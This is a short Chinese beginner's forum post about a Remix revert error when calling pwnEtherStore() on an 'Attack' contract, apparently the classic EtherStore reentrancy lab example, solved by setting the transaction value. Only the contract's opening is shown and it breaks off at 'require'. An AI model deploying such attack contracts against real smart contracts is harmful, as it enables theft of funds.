初学者,solidity智能合约开发,在remix上向合约转账,报错信息如下:
transact to Attack.pwnEtherStore errored: VM error: revert. revert The transaction has been reverted to the initial state. Note: The constructor should be payable if you send value. Debug the transaction to get more information.
代码如下:代码为网上例子,调用pwnEtherStore()报以上错误,百度无果,后来仔细查找资料,发现要在remix设置value的值(要大于等于转账的以太币),,设置后运行正常:
// Attack合约代码
pragma solidity >=0.4.22 <0.6.0;
import "browser/EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) public payable{
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require